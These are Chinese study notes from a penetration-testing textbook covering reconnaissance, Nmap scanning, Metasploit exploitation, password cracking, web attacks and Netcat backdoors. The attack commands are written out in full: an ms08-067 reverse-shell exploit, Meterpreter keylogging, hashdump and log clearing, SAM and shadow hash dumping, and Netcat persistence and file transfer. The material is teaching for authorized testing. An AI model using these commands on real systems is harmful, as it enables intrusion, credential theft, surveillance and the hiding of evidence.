《渗透测试实践指南 必知必会的工具与方法 (原书第2版)》读书摘录

----------------------------------------------------------------------------分割线-------------------------------------------------------------------

以下内容源自《渗透测试实践指南 必知必会的工具与方法 (原书第2版)》,属于读书摘录

---------------------------------------------------------------------------分割线--------------------------------------------------------------------


渗透测试实践指南

必知必会的工具与方法

(原书第2版)

第一章、什么是渗透测试

1.白盒渗透测试:不尝试隐身攻击,考虑全面性。

2.黑盒渗透测试:模拟攻击者进行攻击。

3.APT(AdvancedPackage Tool, 高级打包工具)

① apt-get install

② apt-update

③ apt-cache search

4.启动网卡(以 eth0 为例)

ifconfigeth0 up

5.使用 DHCP 分配地址

dhclient

注:在VM环境下,4和5并不需要使用。

6.重启计算机

reboot

7.渗透四步模型法

①侦查:收集目标信息。

②扫描:

Ⅰ端口扫描:获得目标开放端口和开启服务列表

Ⅱ漏洞扫描:定位和识别在目标计算机上运行的软件和服务所存在的弱点

③漏洞利用:在目标计算机上获得管理员权限

④维持访问

(⑤编写报告)

8.接下来该做什么

搜集和安装工具来建立并定制属于自己的 Linux 发行版,这会成为你Hacker 生涯中的一大步。

 

第二章、侦查

(建立搜集到的信息与受攻击者IP地址之间的关系)

1.在收集目标相关信息上所花的时间越多,后续阶段工作的成功率就越高。

2.以彻底地搜索目标的公共信息作为开始(OSNT,开源情报)

①收集与目标有关的信息,越多越好;

②分类所有收集的信息,创建可进行攻击的IP地址或者URL列表

3.典型的策略应该同时包括 主动被动侦查

①主动侦查:直接与目标系统进行交互(目标可能会记录下我们的IP地址及活动)

②被动侦查:利用可以从网上获取的海量信息(最好将收集到的信息进行集中的电子格式保存)

被动侦查对Hacker来说,是一项低风险、高回报的工作。

4.HTTrack(网站复制机)

注:克隆网站很容易被跟踪,同时也会被认为极具攻击性。

5.GoogleHacking for Penetration Testers(渗透测试人员应该知道的Google黑客技术,是一本书,网上有PDF)

6.Google指令(注意可以将多个指令搭配起来使用)

①site:指定站点

例如:胡昊 site:nju.edu.cn (此处是半角冒号)

②allintitle:网页标题必须包含所有关键字才会出现在搜索结果中

③intitle:                                   任意一个

④inurl:包含某些特定字符的网站

(例如: inurl:admin   inurl:login)

⑤cache:让Google 只显示网页快照里的信息

注:搜索Google 的网页快照可能比搜素目标网站更有价值,因为不但可以减少在目标服务器上留下的痕迹,活动不易受到追踪,而且还能有机会浏览原网站上已被移除的网页和文件。

⑥filetype:搜索特定的文件扩展名

(可能用到的搜索内容:logon, signin, signon, forgotpassword, forgot, reset)

注:www.exploit-db.com 很有用的一个网站。

7.善用 新闻组社交媒体BBS

8.The Harvester

可以快速准确地给电子邮件及其子域名建立目录(注意尽量使用最新版本)

使用实例(先 cd 到TheHarvester  目录下):

./theharvester.py -d example.com -l 10 -b google

<-d > 指定目标的域名,上例中是 “example.com”

<-l > 小写的L,指定搜索结果的数目,上例中是“10”

<-b > 用来指定搜索的公共知识库,可选有 Google , Bing,  PGP, LinkedIn

(可以使用 -b all 同时搜索 Harvester 能够使用的所有知识库)

9.Whois

命令格式:whois target_domain

例如: whois nju.edu.cn

(也可以在 http://www.whois.net进行搜索;

可以使用 Whois 对 引用URL(ReferralURL)字段提供的链接地址进一步的搜索)

10.Netcraft

http://news.netcraft.com

11.Host(主机名 与 IP地址之间的转换)

命令格式:host target_hostname(例如: host www.baidu.com)

或 host IP_address   (例如: host 66.33.206.206)

(可以使用 < -a > 参数显示详尽的输出;

可以使用 “man host”查看 host 的详细使用手册和帮助文档)

12.从DNS中提取信息

①信息收集的其中一个主要目标是收集目标的IP地址

②DNS服务器运行原则经常是“没到坏掉时就别去管它”

③AXFR request: 从DNS服务器请求在主DNS服务器上更新信息的一类域名系统的请求

④NS Lookup:

查询DNS服务器,并可能获得DNS服务器知道的各种主机的记录

操作步骤:a) nslookup

  b) server 8.8.12.8(想要查询的DNS服务器的IP地址)

c) set type = any (此时提供更完整的DNS记录,

也可以使用“set type = mx”只显示电子邮件的服务器IP地址)

⑤Dig

a)命令格式:

dig @target_ip

b) dig 命令还能进行区域传输(使用 -t AXFR 参数)

例如:dig @192.168.1.23example.com -tAXFR

(上述命令针对IP为192.168.1.23 以及域名为 example.com 的DNS服务器进行区域传输,当区域传输不受限制时,目标DNS服务器将会返回与目标域名相关的主机和IP地址列表)

⑥Fierce(区域传输失败时使用,向目标DNS服务器发送一系列查询,对主机名进行暴                            力枚举)

使用实例:cd /usr/bin/fierce

                            ./fierce.pl -dns trustedsec.com

13.从电子邮件服务器提取信息

①“你必须放进来的,你就无法进行阻拦”

②可以首先发送一封附件为空的批处理文件或是想“calc.exe”之类的非恶意可执行文件的电子邮件,目的在于收到退信。

A)退信通常会告诉我们扫描该邮件的杀毒软件是什么及其版本号。

B)检查邮件的Internet头可以获得很多信息,例如 IP地址,软件版本,电子邮件服务器的品牌等等。

14.MetaGooFil

提取元数据(Metadata),对文件的描述信息。

使用实例:A)cd /usr/bin/metagoofil

  B)mkdir for_new_data(为保持原目录的整洁)

      C)./metagoofil.py -d example.com -tpdf,doc,xls,pptx -n 20

-o for_new_datta -fresults.html

< -d > 指定搜索目标域

< -t > 指定查找和下载哪一种或哪些类型的文件,例如:pdf, doc, xls, ppt,

odp, ods, docx,xlsx, pptx.

< -n > 指定每个类型下载文件的数量

< -o > 指定找到的和下载的文件存储的目录,上例是“for_new_data”文件夹

< -f > 指定一个输出文件,生成一个格式化文档,以便审核和编目

15.ThreatAgent Drone

https://www.threatagent.com

使用它将为目标创建完整的档案,将OSINT(OpenSource Intelligence)提升到一个新的水平,作者强烈推荐使用。

16.社会工程

侦查或者Hacker活动不谈社会活动是不完整的。

17.筛选相信寻找可攻击的目标

整理信息时建立列表,用来记录收集到的IP地址,电子邮件地址,主机名称和URL

18.接下来该做什么

①学习Google 以外的其它搜素引擎的指令,进行侦查时使用多个引擎

②Windows 系统下,FOCA SearchDiggity 是提取元数据的利器

③GHDB

www.hackersforcharity.org/ghdb

④Maltego

⑤Robertex

 

第三章、扫描

(建立IP地址与开放端口和服务的映射关系)

1.扫描过程的通常步骤

①用Ping数据包验证系统是否正在运行

判断目标系统是否已经开启以及是否可以与我们的计算机进行通信(这一步是最不可靠的,无论这一步产生什么样的结果。我们都应该继续下一步)

②用Nmap扫描系统的端口

识别在特定主机上开启了哪些端口以及运行了哪些服务,每一个开放的端口都是进入目标系统的潜在通道

(服务是指在计算机上执行的特定工作或任务)

③用Nmap脚本引擎(NSE)进一步查询目标

进一步查询,验证早期的发现

④用Nessus扫描系统漏洞

定位和识别运行在目标计算机上的服务和软件有哪些已知的漏洞

通用端口号以及对应的服务

端口号   服务                            端口号 服务

20          FTP数据传输                     443        HTTPS(HTTP+SSL)

21          FTP控制                            445        SMB(通信协议)

22          SSH                             1433     MSSQL(SQL Server数据库服务器)

23          Telnet(远程终端协议)   3306           MySQL

25          SMTP                         3389     RDP(远程桌面协议)

53          DNS                           5800     VNCover HTTP

80          HTTP                          5900     VNC(虚拟网络计算机,远程控制工具)

137-139      NetBIOS (用于小型局域网 Network Basic Input/Output System)

2.Ping(一种特定类型的网络数据包,称为ICMP数据包)

①命令格式:ping target_ip

或 ping target_hostname

例如:ping  google.com

(在Linux系统中,通过 “Ctrl + C”强制ping停止发送数据包)

②回复

“64 bytes from ord08s05-f6.1e100.net(74.125.225.6): icmp_sep=1 ttl=128 time=29.2ms”

“64 bytes”:标明响应数据包的大小

“from ord08s05 -f6.1e100.net(74.125.225.6):”指定了相应我们的google.com的                                                                                      主机名(以及IP地址)

“icmp_seq=”:指定数据包顺序(依次会显示1,2,3,……)

“ttl=”:生存时间值,确定数据包自动终止前可以经历的最跳数。

“time=”:数据包到目标往返依次花费的时间

注:当100% packet loss 或者 Destination HostUnreachable 时,可以是目标主机宕机(离线)或者拦截ICMP数据包

③FPing

命令实例:fping -a -g 172.16.45.1 172.16.45.254>hosts.txt

< -a >:指定输出中只显示活动主机

< -g >: 指定扫描的IP地址范围

“ >hosts.txt ”:表示将输出重定向到文件 hosts.txt 中

再次提醒:不是每一个主机都会响应ping请求,有些主机上的防火墙或其他设施会阻止ping包。

4.端口扫描

①每台计算机上共有65,536(0-65,535)个端口,端口是基于TCP协议或UDP协议的。

②使用工具的命令行版本,

A)能进行更灵活地设置,更细致地控制,并且更好地理解工具

B)可以将命令行写入脚本中,脚本化和自动化是重中之重

③使用TCP通信时需要完成三次握手

A          SYN→            B

A               ← SYN/ACK  B

A          ACK→            B

5.使用Nmap进行扫描

< -p- > 指定扫描所有端口(Nmap默认扫描1000个最常用端口,)

< -Pn > 禁用Nmap主机发现功能并假定每一个系统都是活动的,强行对其进行扫描

TCP扫描(最基础,最稳定)

命令实例:nmap -sT -p- -Pn 192.168.18.138

< -s >:告诉Nmap我们要运行哪种类型的扫描

< -T >: 指定执行一个TCP连接扫描

注:a)对整个子网或某一IP地址段进行扫描时,例如

nmap -sT -p- -Pn 192.168.18.1-254

(扫描192.168.18.1 - 192.168.18.254范围内的所有主机)

b)扫描一组IP地址不连续的主机,创建一个文本文件并将每个IP地址逐行填入文件,然后使用 < -iLpath_of_textfile > 参数

例如:nmap -sT -p- -Pn -iL /tmp/target_ip.txt

SYN扫描(最常用)

A)Nmap默认扫描方式,只使用< -s >参数时,使用SYN扫描

B)SYN扫描比TCP扫描快,原因是只完成了三次握手的前两步

C)SYN扫描一定程度上隐藏了自己,因此SYN扫描通常被称为“隐形扫描”

命令实例:nmap -sS -p- -Pn 192.168.13.1

UDP扫描

A)千万别忽视UDP端口扫描!

B)基于UDP协议的服务:DHCP,DNS,SNMP,TFTP(TrivialFTP)(简单FTP)

命令实例:nmap -sU 192.168.16.1

(注:之所以不使用 < -p- > 和 < -Pn > 参数是因为UDP扫描非常慢)

C)Nmap很难区分UDP端口是开启的还是扫描数据包被过滤了,所以当执行一个UDP扫描却没有收到任何响应信息时,Nmap反馈信息是“Open|Filtered(启用或过滤)”,解决方案是使用 < -sV > 参数进行版本扫描。

例如:nmap -sUV 172.168.13.2

④RFC(Request For Comments)征求修正意见书

是指一个文档,要么是注释文档,要么是关于现有某项技术或标准的技术规格,它提供了大量的特定系统内部运作的细节

A)Xmas Tree扫描和 NULL 扫描针对的是运行Unix和Linux操作系统的计算机,而不是针对运行Windows系统的计算机

B)运行Xmas Tree扫描和 NULL 扫描的一个主要好处是,某些情况下它们可以绕过简单地数据包过滤和ACLs(访问控制列表)

C)Xmas Tree扫描和 NULL 扫描不会建立任何类型的通信通道,扫描的目标就是判断目标计算机端口是开放的还是关闭的

D)Xmas Tree扫描

(之所以叫Xmas Tree扫描,其原因是数据包的FIN,PSH和URG标记置为“on”)

原理:假如我们所扫描的系统遵循TCP RFC文档的建议,通过发送非常规的数据包就能判断目标系统中端口的当前状态

使用实例:nmap -sX -p- -Pn 192.168.18.132

E)Null扫描

(与XmasTree扫描正好相反,使用没有任何标记(全空)的数据包)

使用实例:nmap -sN -p- -Pn 192.168.18.132

6.NSE(NMAP脚本引擎)

①NSE的调用,使用< --script > 参数

       命令格式:nmap --script <参数>/<脚本名> target_ip

       使用实例:nmap --script banner 192.168.18.132

       (banner 脚本是Nmap的一个扩展,创建到TCP端口的一个连接,并将目标系统发送的任何输出打印到本地终端,在识别隐藏端口上未识别服务时及其有用

       nmap --script vuln 192.168.13.122

       (“vuln”类别将运行一系列在目标系统上搜索已知问题的脚本,在发现漏洞时提供输出,特别注意CVE(Common Vulnerabilities and Exposures)通用漏洞披露,OSVDB(Open Source Vulnerability Database)开源漏洞数据库,以及各类链接。

②NSE将脚本分为多个类别,包括

       授权(Auth)、广播(broadcast)、暴力法(Brute)、默认(Default)

       发现(Discovery)、Dos(拒绝服务攻击denial-of-service attack)

       漏洞利用(Exploit)、外部(External)、漏洞检查工具(Fuzzer)、漏洞(Vuln)

       入侵(Intrusive)、恶意软件(Malware)、安全(Safe)、版本(Version)

7.端口扫描总结

①尽可能使用 < -sV > 参数

②< -T >:改变端口扫描的速度,可选值为0到5,0是最慢,5是最快(扫描速度越快可能造成精确度和隐匿性越低

③< -O >:识别操作系统

④Telent和SSH(最常用,最重要的远程连接服务)

       运行命令: telent target_ip

                            Sshroot@target_ip

8.Nessus(漏洞扫描工具)

       ① “.deb”文件的安装:“dpkg -i example.deb”

       ②在Kali Linux上安装Nessus过程

       A)apt-get install nessus

       B)/opt/nessus/sbin/nessus-adduser(建立一个Nessus用户)

       C)/opt/nessus/bin/nessus-fetch --registeryour_reg_key

       (输入key,从官网注册获得)

       ③Nessus的使用

       A)/etc/init.d/nessusd start(启动Nessus服务器,每次开机需要手动开启!)

       B)通过 https://127.0.0.1:8834 来访问 Nessus的服务器端

       C)确保选中“Safe Checks(安全检查)”,避免意外的网络中断

9.如何实践

       选择一个子网并在该子网中隐藏一个IP地址,然后想办法找到目标计算机,之后进行全面的端口扫描。

       A)使用如下脚本(注意修改IP地址前三个字段以适应自己的网络):

IP_Gen.sh

-------------------------分割线--------------------

#!/bin/bash

echo “Setting up the victim machine, this will take just amoment...”

ifconfig eth0down

ifconfig eth0192.168.18.$((($RANDOM %254) + 1)) up

# uncommentthe following lines by removing the #. To start up services on your victim

# placenote.you may need to change the location/path depending on your distro

#/etc/init.d/sshstart

# note. youmay have to generate your SSH key using sshd-generate

#/etc/init.d/apache2start

#/ect/init.d/atftpdstart echo “This victim machine is now setup.”

echo “The IP address is somewhere in the 192.168.18.0/24network.”

echo “You may now close this window and begin yourattach...Good luck!”

---------------------分割线------------------------

       B)修改该文件的属性  “chmod755 IP_Gen.sh”

       r=4 w=2 x=1,

       755 即 rwx(Owner)-rx(With the Group ofusers)-rx(Public users)

       C)运行该脚本 “./IP_Gen.sh”

10.接下来该做什么

①“insecure.org”网站上提供了关于深入学习Nmap的大量资料

②深入研究NSE,最终目标是编写自己的NSE脚本,进一步扩展该框架

OpenVAS

④NeXpose、Metasploit Pro、 Core Impact、 Canvas

 

第四章、漏洞利用

1.在线密码破解器

(指与SSH或者Telnet 等“活跃服务”交互的一种攻击技术)

       ①Medusa

       命令格式:

       medusa -h target_ip -u username -Ppassword_dictionary -M target_service

       命令实例:

       medusa -h 192.168.18.132 -u user01 -P/usr/share/john/password.lst -M ssh

< -h >:指定目标主机的IP地址

< -u >:指定一个用户名

       (如果使用的是一个用户名列表,使用“< -U > username_file”)

< -p >:指定一个密码

< -P >:指定包含多个密码的列表,后面紧跟某个字典文件的路径

< -M >:指定我们想要攻击的服务(包括AFP,FTP,HTTP,IMAP,MS-SQL,MySQL,NetWareNCP,NNTP,PcAnywhere,POP3,SNMP,SSHv2,Telnet,VNC,Web Form等)

(注:Kali 的 “/usr/share/wordlists”目录下有一些现成可用的密码字典,其中包括最       为恶名昭彰的密码列表—RockYou)

       ②Hydra

2.Metasploit

①如果有机会遇到H.D.Moore或者原来Metasploi团队中的任何一名成员,记得给他买杯啤酒,跟他握手,说声谢谢:D

②Msfconsole

       A)升级命令:msfupdate

       B)一般攻击步骤:

              Ⅰ)确定攻击目标

       从Nessus的报告或者“Nmap --script vuln”的输出开始

              Ⅱ)选择漏洞攻击程序

       漏洞攻击程序:预先打包、将被发送到远程系统的代码集,这些代码将在目标系统中引发某些不正常的行为,以使我们能够执行攻击载荷

              Ⅲ)指定攻击载荷

       攻击载荷(payload):成功执行漏洞攻击之后被安装在目标系统中的附加软件或功能。

       C)攻击实例:

              searchms08-067(搜索编号为“ms08-067”的漏洞)

       -------------------------------------------------------------

       搜索结果显示匹配到的漏洞攻击程序,与该攻击程序的Rank

       例如:“exploit/windows/smb/ms08-067_netapi             great”,漏洞攻击程序

       共有七个等级1.手动(Manual)2.Low3.Average 4.Normal 5.Good6.Great 7.Excellent

       ---------------------------------------------------------------

              useexploit/windows/smb/ms08-067_netapi(使用该漏洞攻击程序)

              showpayloads(查看可用的payload)

              setpayload windows/vncinject/reverse_tcp(设置payload)

              showoptions(查看payload所有可用的选项)

              setRHOST 192.168.18.132(RHOST指远程主机(被攻击者))

              setLHOST 192.168.18.73(LHOST指本地主机(发起攻击者))

              exploit

       (VNC载荷要求目标操作系统是基于GUI的操作系统)

3.目标windows的常用payload样例

              payload名称                    功能描述

              Windows/adduser           在目标计算机上的本地管理员组创建新用户

              Windows/exec          在目标计算机上执行Windows二进制文件(.exe)

       Windows/shell_bind_tcp      

                            在目标计算机上启动一个命令行shell并等待连接

       Windows/shell_reverse_tcp

                            目标计算机连回攻击者并在目标计算机上启动一个命令行shell

       Windows/meterpreter/bind_tcp

       Windows/meterpreter/reverse_tcp

       Windows/vncinject/bind_tcp

       Windows/vncinject/reverse_tcp

       (注:“bind”正向连接,“reverse”反向连接    

《渗透测试实践指南 必知必会的工具与方法 (原书第2版)》读书摘录_第1张图片

4.Meterpreter

       又叫Meta-Interpreter,是Metasploit中一个可用的payload,是一个强大的命令行shell。尽可能花时间深入研究这个工具,成为Meterpreter大师。

①Meterpreter完全在内存中运行,不使用硬盘空间,从而提高了它的隐蔽性

②Meterpreter运行的权限与被攻击的程序是相关联的

③之所以用Meterpreter而不用传统的cmd和Linux下的shell,原因有

       A)在目标计算机上运行cmd和Linux的shell都会启动新的进程

       B)相比于cmd.exe和bin/sh,Meterpreter具有更强大的功能

④基本命令介绍

       a)help:显示 Meterpreter 帮助菜单

      b)background:将当前的 Meterpreter 会话转移到后台运行并且回到msf提示符,若要返回到 Meterpreter 会话,只是再一次与它交互。

            (例如返回第一个Meterpreter回话,使用“session -i 1”)

      c)cat:显示文件的内容到屏幕上

      d)clearev:清除windows系统上应用程序、 系统和安全日志

      e)download:从远程计算机上下载文件

(提供 Windows 路径时,请注意使用双正斜杠,例如:“download c:\\boot.ini”)

      f)upload:上传文件到远程计算机上

(例如:upload evil_trojan.exe c:\\windows\\system32)

      g)edit:用vim打开目标主机上的文件

      h)execute:运行/执行目标上的指定文件

(例如:“execute -f cmd.exe -i -H”在目标计算机上打开了cmd.exe)

      i)getuid:显示运行 Meterpreter 服务的目标计算机上的用户

      j)hashdump:转储 SAM 数据库的内容,即提取用户的密码散列

(密码散列:指明文密码的加密和打乱之后的版本)

      k)idletime:显示远程计算机上的用户已处于空闲状态的秒数

      l)pwd & cd:显示和更改远程计算机工作的目录

      m)lpwd & lcd:显示和更改本地计算机工作的目录

      n)ls:列出当前的远程计算机目录中的文件

      o)migrate:将服务迁移到另一个进程中(svchost.exe是个不错的选择)

      p)ps:显示在目标系统上正在运行的进程列表

      q)search -f:定位目标主机上的特定文件

      r)shell:返回一个在目标系统上的标准 shell

      s)webcam_list:将在目标主机上显示当前可用的网络摄像头

      t)webcam_snap:抓取一张来自目标系统上的连接的网络摄像头的图片,并将其作为 JPEG 图像保存

      u)getsystem:命令Meterpreter尝试将权限提升到最高级

      v)keyscan_start:开始记录目标机器上的击键

            (注意:为了捕捉击键,你必须迁移到explorer.ext进程中)

       keyscan_stop:停止记录用户击键

       keyscan_dump:显示当前从目标计算机上捕捉的击键

            (注意:必须先运行keyscan_start)

      w)kill pid_number:停止(杀死)指定进程,PID可以用ps命令找到

      x)screenshot:提供来自目标机器的屏幕截图

      y)sysinfo:提供目标机器的相关系统信息,包括计算机名、操作系统、服务包级别等

      z)mkdir、shutdown、reboot、ifconfig、rmdir、rm(英文字母用完了-_-|||)

5.John the Ripper(JtR)

(能利用密码字典进行密码破解,或者直接利用字符组合进行暴力破解)

      ①通过基准程序衡量电脑性能,基准衡量的单位是每秒的破解次数(c/s)

            cd/usr/share/john

            john--test

      ②密码破解可以作为“本地攻击”或者“远程攻击”

6.本地密码破解

      ①Windows系统将密码散列保存在一个叫做SAM(安全账户管理器)的文件里,该文件保存在“C:\Windows\System32\Config\”目录下。

      ②操作系统启动后,SAM文件将同时被锁定。绕过这一保护措施的方法是启动另一个操作系统(比如Kali)

      ③进入Kali后的操作步骤

            a)挂载本地硬盘

                  mkdir /mnt/sda1_file

                  mount /dev/sda1 /mnt/sda1_file

                              设备           挂载点(mount point)

(如果不确定应该挂载哪个驱动器,使用“fdisk -l”命令,将目标系统中可用的驱动器全部列出来)

              b)cd/mnt/sda1_file/Windows/system32/config

              c)ls

              d)samdump2     system SAM > /tmp/hashes.txt

使用了名为“Samdump2”的程序,

(该程序利用本地计算机上一个叫做“system”的文件对SAM文件进行解密,幸运的是,这个“system”文件正好就跟SAM文件在同一个目录里)

该程序将解密后的结果保存到了Kali的/tmp/hashes.txt文件中

注:某些Windows系统d)步骤前需要额外的一步,为了完全暴露密码散列,需要利用“Bkhive”提取系统密匙

       bkhive system sys_key.txt

       samdump2 SAM sys_key.txt >/tmp/hash.txt

       ④原先微软使用的散列加密算法叫做Lan Manager(LM

              A)利用LM算法生成散列时,整个密码字符都将更改为大写

              B)LM算法生成的密码都是14个字符,少于14个字符将会用null填满,大于14个字符将会被截断

       ⑤现在微软使用NTLM算法生成密码散列

       ⑥运行实例:

              john/tmp/hashes.txt --format=nt

       (“hashes.txt”是我们在前面提取的密码散列,

              <--format= >:指定了密码类型,对于NTML算法,则是“--format=nt”)

7.远程密码破解

       Meterpreter → hashdump → JtR

8.Linux系统的密码破解和权限提升

①Linux系统将加密的密码散列包含在“shadow”文件里,该文件完整路径是“/etc/shadow”

②只有特权用户才能访问“shadow”文件,解决方案是:

Linux还使用一个经过编辑的密码列表 “/etc/passwd”,这个列表一般可以被所有用户读取

利用JtR合并“/etc/shadow”和“/etc/passwd”,这一过程输出的是一个包含原始散列的列表,这个新列表可以输入John

③实例:

       unshadow /etc/passwd /etc/shadow >/tmp/linux_hashes.txt

       john /tmp/linux_hashes.txt

④少年呐!你应该花谢时间好好学习运行JtR每个参数的用法

9.密码重置

       chntpw -i /mnt/sda1_file/Windows/system32/config/SAM

       reboot(重置好密码后,重启目标机器)

       < -i >:表示以交互模式运行

10.网络嗅探

       截获并查看进出某一网络流量的过程

       ①网络模式:

              A)非混杂模式:大部分网卡都运行在该模式下,这就意味着NIC(Network Interface Card)只会传递指向本机地址的特定网络流量

              B)混杂模式:强制网卡接收流入的所有数据包

       ②为了能顺利嗅探到目的地址最初并非指向你的计算机的流量,首先必须确保你的网       卡已运行在混杂模式下

       ③收到非指向本机的流量的原因:

              a)广播流量

              b)网络使用集线器(hub)发送数据包而不是交换机(switch)

       (hub将其收到的任何数据不做任何处理直接发送给所有连接到它的物理端口的设备)

11.Macof

       ①交换机针对不同地址分别使用不同的路由信息这一设计,原本是用来提高性能的,而不是提高安全性

       ②通过耗尽交换机用于保存MAC地址和对应端口号的匹配表的内存,并用大量伪造的MAC地址对该匹配表进行泛洪攻击,就可以使交换机无法读取或者访问这个匹配表。此时根据交换机的配置不同,交换机会变成“失效开放”或者“失效关闭”模式。

              A)“失效开放”(fail open)

                     交换机简单地把流量广播到所有端口

              B)“失效关闭”(fail closed)

                     交换机简单地停止数据传送(相当于发生了一次Dos攻击)

       ③Dsniff

            A)一款用于网络审计和渗透测试的工具集,建议花时间好好研究其中每 一个工具!

            B)Dsniff中有一个工具叫Macof

            Macof:生成几千个随机MAC地址,对交换机进行泛洪

            运行实例:

            macof-i eth0 -s 192.168.18.130 -d 192.168.18.2

            <-i >:指定计算机的NIC

            <-s >:指定本地计算机地址

            <-d >:指定目标攻击对象

            (注:使用Macof会产生大量的网络流量,容易被发现)

12.Wireshark

需要花时间好好学习!

13.Armitage

      在Metasploit上运行、GUI驱动的前端程序

      ①使用实例:

            apt-getinstall armitage    (假如没安装,先安装)

            servicepostgresql start( 启动PostgreSQL服务)

(如果看到“Try setting MSF_DATABASE_CONFIG to a file that exists”的错误,则必须运行如下命令,然后启动Armitage

      service metasploit start)

      ②HailMary(最后一击)

      ③使用步骤:

            Hosts→ Quick Scan(OS detect)

            Attacks→ Find Attacks → Hail Mary

14.如何实践

      ①Metasploit培训教程“Metasploit Unleashed

      ②使用De-ICE系列Linux引导光盘

15.接下来该做什么

①Hydra:暴力破解密码工具

            (特别注意一下定时(timing)选项)

      ②RainbowCrack:利用彩虹表对密码进行破解

            (彩虹表:预先计算好的密码散列列表)   

       ③Tcpdump:命令行工具,捕捉和查看网络流量的尚佳选择

       ④Ettercap:开展中间人攻击(man-in-the-middle attack)的绝佳武器

       ⑤学着如何读取、写入并创建你自己的漏洞攻击程序,学习漏洞利用技术可以从学习缓冲区溢出(buffer overflow)开始

       ⑥如果从Metasploit中找不到匹配的漏洞利用程序,尝试搜索“Exploit-DB

       https://www.exploit-db.com/(漏洞利用和概念验证代码的公开知识库)

       ⑦许多漏洞攻击程序都是基于栈(stack)和堆(heap)缓冲区溢出

       ⑧建议精通脚本语言,Python和Ruby都是很好的选择

第五章、社会工程

1.社会工程工具包(Social-Engineer Toolkit)(SET

2.在Kali的文件夹结构中,/usr/bin/<工具名>中放置了二进制文件,真正的应用程序文件在/usr/share/<工具名>中

3.SET安装在“/usr/share/setoolkit”

启动命令:setoolkid

4.随时更新SET

第六章、基于Web的漏洞利用

1.常见Web应用入侵框架:

       ①w3af(Web应用程序审计和攻击框架);

       ②Burp Suite

       ③ZAP(OWASP的Zed攻击代理);

       ④Websecurify

       ⑤Paros

2.Web入侵的基本思路

       ①拦截离开浏览器的请求(通过使用代理 Proxy)

       ②寻找组成Web应用的所有网页、目录和其他文件

         (提供对攻击面的深入理解,由自动化的“Spidering”(爬虫)完成;

              Spidering这种活动没有隐蔽性;

              注意设置Spidering不要访问注销用户的链接;

              假如可以,注意指定Spidering搜索目标网站中的特别目录和路径)

       ③分析Web应用响应、检查其漏洞

              (自动化Web扫描程序可以发现的Web漏洞有:

               SQL注入XSS文件路径操纵攻击(也被称作目录遍历)等

3.Nikto

       一款Web服务器漏洞扫描工具(要想运行需要事先安装Perl)

       使用实例:   nikto -h 192.168.13.182 -p   1-1000

                            nikto -h192.168.18.132 -p 80,443

       < -h >:指定一个主机IP地址

       < -p >:指定端口号(多个不连续的端口号用“,”分隔,例如“80,443”)

                     (若不指定端口号,Nikto仅会扫描80端口)

       < -o >:使用“-o /path/file_name”可以将Nikto的输出结果保存在该文件中

4.w3af

①一款出色的Web资源扫描和漏洞利用工具,提供了易用的界面,渗透测试者可以用       它快速而轻松地找出几乎所有重要的Web漏洞,包括跨站请求伪造,文件包含,       SQL 注入,XSS等

       ②强烈建议花时间探索和使用这一工具!

5.WebScarab

①与目标服务器进行交互的首选工具

②使用该工具的Spidering功能之前,确保它处于“full-featuredinterface(全功能界面)”模式,而不是“LiteInterface(精简界面)”模式

7.代码注入攻击

       注入攻击最基本的类型:SQL Injection

8.XSS(Cross Site Scripting跨站脚本攻击)

              将脚本程序注入到Web应用程序中的过程

       ①reflected(非持久化)XSS,也被称为“First Order(首选)XSS”

       ②stored(持久化) XSS

       ③掌握reflected XSSstored XSS后,你应该着手研究基于DOM 的 XSS了。

9.ZAP(Zed Attack Proxy)

       ①全功能的Web入侵工具包

       ②启动命令:zap

10.如何实践

       ①WebGoat(OWASP开发,基于J2EE构建,运行前确保系统安装了JRE,使用链接为:http://127.0.0.1:8080/webgoat/attack)    

       ②DVWA(Damn Vulnerable Web APP)

              用PHP和MySQL制作的不安全应用程序,以提供测试环境

11.接下来该做什么

①学习Web应用Hacker更高级的主题,包括:

       客户端攻击、会话管理、源代码审计

②关注OWASP的“Top Ten”项目

③《The Basic of Web Hacking:Tools and Techniques to Attackthe Web 》

                                                                                                         ——Josh Pauli

第七章、维持访问

1.使用Back door(后门)及Rootkit维持访问

①Back door:运行在目标计算机上的隐藏进程,使得攻击者随时返回(或连接)到目标计算机上

②Rootkit:一类特殊的软件,深嵌在操作系统的内部并能够执行一些任务,包括能够帮Hacker隐藏进程和程序

2.Netcat

       ①一个运行通信和网络流量从一台计算机到另一台计算机的工具,它的灵活性让它成为后门的最佳选择

       ②Netcat可用于在计算机之间传递文件,也可用于执行端口扫描,还可以作为一个简单地即时消息和聊天工具,甚至可以用来搭建一个简单地Web服务器

       ③Netcat既可以以服务器模式来运行,也可以以客户端模式来运行

       A)客户端模式,它能通过网络连接到其他的服务上去(包括其他的Netcat实例);

              可以使用本地计算机上任意一个端口远程连接目标计算机上的任意端口。

       B)服务器模式,它作为一个监听者,等待接受外界传递过来的连接

       ————————————————————————————-—————

              实践方式是,在至少两台虚拟机上安装Netcat并尝试互相通信

       ————————————————————————————-—————

       ④将Netcat配置为一个连接两台计算机的通信通道

              a)目标计算机:nc -l -p 1337

              < -l >:将Netcat置为监听模式

              < -p >: 指定Netcat监听的端口号

              b)攻击计算机 : nc 192.168.18.132 1337

              (Netcat尝试连接IP地址为192.168.18.132的计算机,使用端口1337)

              c)Netcat只是将键盘输入(击键)的数据通过连接传送出去

              d)结束Netcat连接使用“Crrl + D”

(一旦你关闭了Netcat连接,要想在目标计算机上建立另一个连接,你需要重新启动Netcat程序)

       ⑤使Netcat持久连接的方法

       a)在Windows系统中

              以监听者启动Netcat时Ⅰ.使用参数< -L >,这样即使客户端断开连接之后,目标计算机在特定的端口上仍然保持在线连接状态

              例如:nt -L -p 1338

              为了实现真正地持久性,还需要.添加Netcat程序到注册表的

              HKEY_LOCAL_MACHINE\software\windows\currentversion\run表项中

       b)在Linux系统中

              不得不写一个简单地bash脚本程序,强行让Netcat在初始连接关闭时重新启动

       ⑥使用Netcat进行文件传输

              a)被控制者:nc -l -p 7777 > virus.exe

              (强制目标计算机监听7777端口,并将任何接收的输入信息存储到文件”virus.exe”中)

              b) 攻击者:nc 172.16.45.129 7777 < virus.exe

              (默认情况下,Netcat不会提供任何类型的反馈信息,因此你也不知道传输是什么时候完成的,所以一般是等待一会儿后输入Ctrl+C关闭连接,再”ls“查看)

              c)可以以相反的顺序执行上述两条命令,将会从目标计算机下载一个文件

       ⑦使用Netcat建立一个到目标端口的盲连接

